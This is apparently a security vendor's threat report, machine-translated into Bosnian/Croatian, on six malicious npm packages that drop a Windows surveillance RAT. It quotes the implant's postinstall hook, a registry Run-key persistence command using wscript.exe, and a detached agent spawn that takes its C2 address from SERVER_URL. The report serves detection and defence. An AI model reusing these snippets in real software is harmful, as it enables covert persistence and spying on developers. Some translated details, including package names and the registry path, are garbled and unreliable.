TL; DR
Između 1. aprila i 3. maja 2026. godine, jedan npm izdavač, user0001, registrovan sa nepotvrđenom Gmail adresom tanvisoul9@gmail.com, tiho je progurao šest paketa sa namjerno blagim, infrastrukturno-zvučnim imenima: centralogger, dom-utils-lite, node-fetch-lite, connector-agent, node-gyp-runtime, I node-env-resolve.
Najnovije dvije verzije node-env-resolveVerzije , 1.0.7 i 1.0.8, označene su od strane Xygenijevog sistema za rano upozoravanje na zlonamjerni softver (MEW) 2. maja, a potvrđene su kao zlonamjerne 3. maja.
Implant je neobičan zbog onoga što nije: nema Telegram botova, nema OAST povratnih poziva, nema obfuscationi bez pokušaja prikupljanja AWS akreditiva prilikom instalacije. Umjesto toga, postinstall.js postavlja unos za perzistenciju pokretanja sistema Windows, koristeći HKCU Run ključ koji pokreće wscript.exe na VBS stub. Zatim se pokreće odvojeni Node.js agent koji objedinjuje module za snimanje mikrofona, krađu historije preglednika, snimanje ekrana i simulaciju miša/tastature.
Ovaj klaster nazivamo DevTap, nakon što se komplet pokrene, nastavlja se izvršavati na mašini programera.
Svih šest paketa je bilo aktivno na npm-u u vrijeme pisanja ovog teksta. Poslali smo ih na kanal za zloupotrebe registra. Branitelji bi trebali povući sve instalacije od izdavača koje čekaju uklanjanje.
Klaster: Šest paketa, jedan izdavač
Račun izdavača user0001 nije verifikovano. Nema SCM verifikacija, bez e-pošte vezane za domenu i bez prethodne historije. Gmail nadimak tanvisoul9 ne pojavljuje se ni u jednom drugom zapisu npm izdavača koji smo mogli pronaći.
Svih šest paketa navodi istog održavatelja, objavljeni su s istog računa i dijele iste package.json standardni standard. Nema repository, br homepage, i ne description duže od jedne linije.
Strategija imenovanja je zanimljiv dio. Za razliku od klasične kampanje zabune ovisnosti ili tipografskih grešaka, nijedno od ovih imena nije usmjereno na određenu upstream biblioteku. Umjesto toga, kalibrirana su tako da nestanu u stvarnom package.json or npm ls output.
| paket | First Published | Najnoviju verziju | verzije | Uloga u klasteru |
|---|---|---|---|---|
| centralogger | 2026-04-01 12:46 UTC | 1.0.9 | 5, od 1.0.5 do 1.0.9 | Naslovnica klastera o „uslužnom programu za evidentiranje“; najranija objava |
| dom-utils-lite | 2026-04-14 07:36 UTC | 1.0.3 | 3 | Generički DOM-helper cover |
| node-fetch-lite | 2026-04-19 10:22 UTC | 1.0.2 | 3 | Imitira porodicu node-fetch |
| konektor-agent | 2026-04-25 05:12 UTC | 1.0.0 | 1 | Generički naziv "agent" |
| node-gyp-runtime | 2026-04-25 05:17 UTC | 1.0.0 | 1 | Imitira alate za izgradnju izvornih modula |
| rješavanje okruženja čvora | 2026-04-25 05:21 UTC | 1.0.9 | 10, od 1.0.0 do 1.0.9 | Aktivna kapaljka; puni implantat |
Imena kao centralogger, node-fetch-lite, I node-gyp-runtime su dizajnirani da izgledaju nekontroverzno u pregledu koda. Zvuče kao stvari koje bi već bile u stablu zavisnosti projekta.
U kombinaciji sa svježim, neprovjerenim izdavačem i nedostajućim linkovima repozitorija, oni formiraju prepoznatljiv obrazac: akter unosi imena s niskim trenjem u registar, a zatim brzo prelazi na ono koje je važno. U ovom slučaju, node-env-resolve primio deset verzija za osam dana.
Šta se nalazi na Windows Dev Boxu
Zlonamjerni lanac na node-env-resolve:1.0.8 je kratak, direktan i neuobičajeno bogat funkcijama za npm RAT.
Nakon instalacije: Perzistencija i odvojeni agent
package.json deklariše jednu instalacijsku hook:
{ "scripts": { "postinstall": "node postinstall.js" } }postinstall.js radi tri stvari redom.
Prvo, priprema instalacijski direktorij izvan npm stabla. Putanja se izračunava za vrijeme izvođenja u skripti kao INSTALL_DIRZatim pokreće interni execSync('npm install --production --silent ...') unutar njega da bi se preuzele zavisnosti implantata tokom izvođenja. Ovo stavlja agenta na disk negdje gdje je priručnik node_modules revizija neće pronaći.
Drugo, piše VBS pokretač i registruje ga za perzistenciju pokretanja:
reg add HKCU\Software\Microsoft\Windows\CurrentVersion\Run \ /v ${AGENT_NAME} \ /t REG_SZ \ /d "wscript.exe \"${vbsPath}\"" /fwscript.exe je Windows Script Host, potpisana Microsoftova binarna datoteka koja se pokreće .vbs datoteke bez konzolnog prozora. To je prethodnocisZato je omiljen za autorun stubove.
Također postoji i podudaranje reg delete put unutra src/index.js, što sugerira da je implantat dizajniran tako da se može lako ukloniti na zahtjev operatera.
Treće, stvara odvojeni podređeni proces:
spawn(node, [path.join(INSTALL_DIR, 'src/index.js')], { detached: true, env: { ...process.env, SERVER_URL } })Ovdje su važna dva detalja.
SERVER_URL se čita iz okruženja. Kao rezultat toga, C2 krajnja tačka se može konfigurirati po implementaciji i nije ugrađena u paket. Taj mali, ali namjerni izbor poništava većinu statičkih IOC pregleda.
Također, stvoreno dijete nasljeđuje puno roditeljsko okruženje. Stoga, bilo koje NPM_TOKEN, AWS_*, GITHUB_TOKEN, ili SSH-agent socket prisutan u razvojnoj ljusci u vrijeme instalacije putuje u memoriju dugovječnog agenta.
Šta agent isporučuje
U paketu src/ Drvo uključuje tri modula čija sama imena govore priču: audioCapture.js, browserHistory.js, I systemInfo.js.
Lista zavisnosti za vrijeme izvođenja, riješena tokom faze npm install, potvrđuje ih.
Ovaj pristup pretvara haotičan incident u kontrolirani odgovor.
Umjesto da reaguju slijepo, timovi djeluju sa jasno određivanje prioriteta i brzo rješavanje problema.
| zavisnost | Čemu služi u ovom kontekstu |
|---|---|
| snimak ekrana-desktopa | Periodično snimanje ekrana |
| @nut-tree-fork/nut-js | Automatizacija/simulacija unosa mišem i tastaturom |
| bolje-sqlite3 | Direktno čitanje SQLite baza podataka historije Chromea, Edgea i Firefoxa |
| adm-zip | Grupiranje prikupljenih artefakata prije eksfiltracije |
| Oštar | Promjena veličine / kompresija snimaka ekrana i artefakata na slikama |
| socket.io-klijent | Trajni dvosmjerni C2 kanal |
| ID-a-čvora-mašine | Stabilan otisak prsta po hostu za praćenje žrtve |
systemInfo.js poziva os.networkInterfaces() za dodatno uzimanje otisaka prstiju prije prvog beacon-a.
Zašto je snimanje zvuka istaknuti signal
Većina npm RAT-ova koje trijažiramo u MEW-u zaustavljaju se na tajnoj krađi tokom instalacije. Oni čitaju ~/.npmrc, pročitajte ~/.aws/credentialsstrugati process.env, POST na webhook i izlaz. To se uklapa u ekonomski model "razbij i zgrabi". Kredencijali imaju kratak poluživot i napadač ih mora brzo monetizirati.
node-env-resolve je različitog oblika.
Perzistencija je postavljena da preživi ponovno pokretanje. Agent radi odvojeno i dugovječan je pod wscript.exeKomplet koji sadrži je za prisutstvo na mašini programera, a ne za preuzimanje i odlazak: snimač mikrofona, drajver za tastaturu/miš, potpuni unos historije pregledanja, snimanje ekrana i interaktivni Socket.IO kanal nazad do konfigurabilnog C2.
Snimanje mikrofona je posebno granica koju ova kampanja prelazi, a koju većina npm zlonamjernog softvera ne prelazi.
Razvojna radna stanica je, sve češće, i radna stanica gdje razvojni programeri održavaju stand-up govore, pozive s klijentima, diskusije o dizajnu i dežurne razgovore. Implant koji snima mikrofon zapravo ne traži razvojni npm token. On traži ono što razvojni programer govori ispred laptopa.
Taj skup mogućnosti, plus nedostatak zamagljivanja i odsustvo bilo kakvog blještavog krađe podataka tokom instalacije, čita se kao prethodno pozicioniranje za ciljani pristup, a ne kao oportunistička krađa akreditiva.
Ne tvrdimo pripisivanje samo na osnovu ovoga. Primjećujemo operativni profil.

Osmodnevna iteracija ritma na node-env-resolve je najoperativnije indikativniji detalj na vremenskoj liniji.
Ovo nije instalacija po principu "ispali i zaboravi". Izdavač aktivno održava instalaciju, što obično znači jednu od dvije stvari. Ili je prilagođavaju testnim okruženjima prije šire primjene ili već imaju podatke o instalacijskoj telemetriji i odgovaraju na njih.
Ostalih pet paketa nije imalo nikakav odliv nakon početnog objavljivanja. To se uklapa u obrazac "jednom se postavi u fazu, ostavi imenovano" za klaster podrške, dok se inženjerski napor fokusira na paket koji obavlja posao.
Pripisivanje: Sitni tragovi, bez čvrste presude
Javni OSINT Signali su tanki i nećemo ih rastezati. Šta je vidljivo:
Gmail identifikator tanvisoul9 Djelomično podsjeća na južnoazijsko ime, "Tanvi". Ovo je slab signal. Gmail nadimci ne predstavljaju identitet, a prateći soul9 je generičko. Nije sigurno zaključivati o geografiji samo na osnovu lokalnog dijela e-pošte.
Stil koda je neupadljiv Node.js: standard pozivi biblioteci kao što su os, child_process, spawn, I reg addNema obfuskacije, rotacije stringova niti logike protiv otklanjanja grešaka. Autor je upoznat s primitivima Windows registra i orkestracijom odvojenih podprocesa, ali se čini da ne poseže za skrivenijim vještinama koje bi mogli koristiti.
Zavisnosti su potpuno standardne i dobro poznate: screenshot-desktop, nut-js, better-sqlite3, I socket.io-clientNe postoji prilagođeni protokol, nema C2 steka kreiranog od nule, niti neki novi trik za perzistenciju izvan udžbenika. Ključ za pokretanje HKCU-aOvo je kompetentan integrator, a ne autor alata.
Unutar objavljenih artefakata nismo pronašli stringove koji nisu na engleskom jeziku, ugrađene komentare, podatke o lokalizaciji ili otiske vremenskih zona iz izlaza kompajlera.
Provjerili smo preklapanje koda s prethodnim kampanjama koje već pratimo, uključujući Shai Hulud, Owlivion, Buildkite i nedavni heibai / claude-code-best Porodica klonova Antropičnog CLI-a. Nismo pronašli nijedan: nema zajedničkih C2 obrazaca, nema zajedničkih rasporeda datoteka niti zajedničkih idioma.
Ono što ne bismo rekli: da se radi o državnom akteru, poznatoj grupi ili da je geografski vezan za neku određenu zemlju.
Operativni profil je u skladu s malim, umjereno vještim timom koji obavlja nadzor radnih stanica programera. Vjerovatno je financijski motiviran korištenjem pristupa naknadno, ali moguće i izviđanjem kao uslugom za zasebnog kupca.
Dvije indirektne tačke idu u prilog tome: izbjegavanje odvlačenja pažnje i mehanika eksfiltracije koje bi brzo uništile klaster, poput Telegram botova, oastify.com, ili canarytokens, i namjerno bezlična imena paketa, koja favoriziraju tihe instalacije s dugim repom u odnosu na kratkotrajni porast velikog obima.
Indikatori kompromitacije i detekcije
| Paketi i izdavač | |
|---|---|
| polje | vrijednost |
| npm izdavač | user0001 |
| E-pošta izdavača | tanvisoul9@gmail.com, nije verificirano |
| paketi | centralogger, dom-utils-lite, node-fetch-lite, connector-agent, node-gyp-runtime, node-env-resolve |
| Potvrđeno zlonamjerno | node-env-resolve@1.0.7, node-env-resolve@1.0.8 |
| Artefakti domaćina | |
|---|---|
| tip | vrijednost |
| Ključ perzistencije | HKCU\Softver\Microsoft\Windows\Trenutna verzija\Pokreni |
| Vrijednost perzistencije | Naziv varijable; podaci u obliku wscript.exe " \\ .vbs" |
| Instalirajte kuku | postinstall: čvor postinstall.js u manifestu paketa |
| Implantni moduli | src/audioCapture.js, src/browserHistory.js, src/systemInfo.js |
| Direktorij za pripremu | INSTALL_DIR je riješen izvan node_modules projekta; lokacija je postavljena od strane postinstall.js prilikom instalacije |
| mreža | |
|---|---|
| tip | vrijednost |
| C2 transport | socket.io-klijent, perzistentni dvosmjerni kanal |
| C2 krajnja tačka | Dostavljeno agentu putem varijable okruženja SERVER_URL; nije čvrsto kodirano u objavljenim artefaktima |
Bilješke o detekciji
Dva pravila hvataju ovu porodicu bez potrebe za krajnjom tačkom C2.
Prvo, označite skripte nakon instalacije koje izvršavaju internu npm install u putanju izvan vlastitog direktorija paketa. Bilo koji legitimni program za preuzimanje unaprijed izgrađenih datoteka, kao što je node-gyp ponovo gradi ili preuzima unaprijed izgrađene binarne datoteke, piše unutar paketa ili u platformu-standard putanje keša sa provjerenim heševima. Ne zapisuje u svježe kreiranu INSTALL_DIR negdje drugdje na disku.
Drugo, označite skripte nakon instalacije koje izdaju probleme reg add HKCU\…\Run sa wscript.exe kao pokretač. Ovo u suštini nikada nije legitimno iz npm paketa. Označite i stavite u karantin.
Treća heuristika je korisna za uočavanje sljedećeg srodnog paketa prije nego što bude potvrđen: novi npm izdavač bez SCM verifikacija, Gmail e-pošta, ne repository polje, a više kratkih, generičkih naziva paketa koji zvuče kao infrastruktura objavljenih u roku od nekoliko dana samo je po sebi dovoljno da opravda ručni pregled.
Prijavljeno npm registru. Ažurirat ćemo ovu objavu kada izdavački račun bude uklonjen.






